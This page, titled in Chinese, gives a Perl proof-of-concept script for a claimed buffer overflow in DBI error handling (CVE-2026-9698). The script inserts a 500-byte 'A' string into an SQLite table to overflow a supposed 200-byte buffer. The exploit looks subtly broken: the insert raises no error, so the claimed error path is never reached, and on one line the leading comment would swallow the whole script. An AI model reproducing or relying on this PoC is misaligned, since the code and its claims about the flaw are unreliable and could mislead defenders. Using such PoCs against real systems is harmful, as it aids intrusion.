DBI for Perl 缓冲区溢出漏洞 (CVE-2026-9698)

#!/usr/bin/env perl # CVE-2026-9698 PoC - DBI Buffer Overflow in Error Handling # This PoC demonstrates triggering a buffer overflow in DBI < 1.648 use strict; use warnings; use DBI; # Connect to database (example with SQLite) my $dbh = DBI->connect( 'dbi:SQLite:dbname=test.db', '', '', { RaiseError => 1, PrintError => 0 } ) or die "Cannot connect: $DBI::errstr"; # Create a table for testing $dbh->do("CREATE TABLE IF NOT EXISTS test (id INTEGER PRIMARY KEY, data TEXT)"); # Prepare a statement my $sth = $dbh->prepare("INSERT INTO test (data) VALUES (?)"); # Generate a payload that will cause an error message exceeding 200 bytes # This payload is designed to trigger the buffer overflow in DBI error handling my $long_payload = "A" x 500; # Exceeds the 200-byte buffer limit # Execute with malicious payload - this will cause DBI to write error to limited buffer eval { $sth->execute($long_payload); }; # If RaiseError is enabled and error occurs, DBI will write error message to 200-byte buffer # The overflow occurs when error message length > 200 bytes # Cleanup $sth->finish(); $dbh->disconnect(); print "PoC executed. Check for buffer overflow in DBI error handling.\n"; print "Vulnerable versions: DBI < 1.648\n"; print "Fixed version: DBI >= 1.648\n";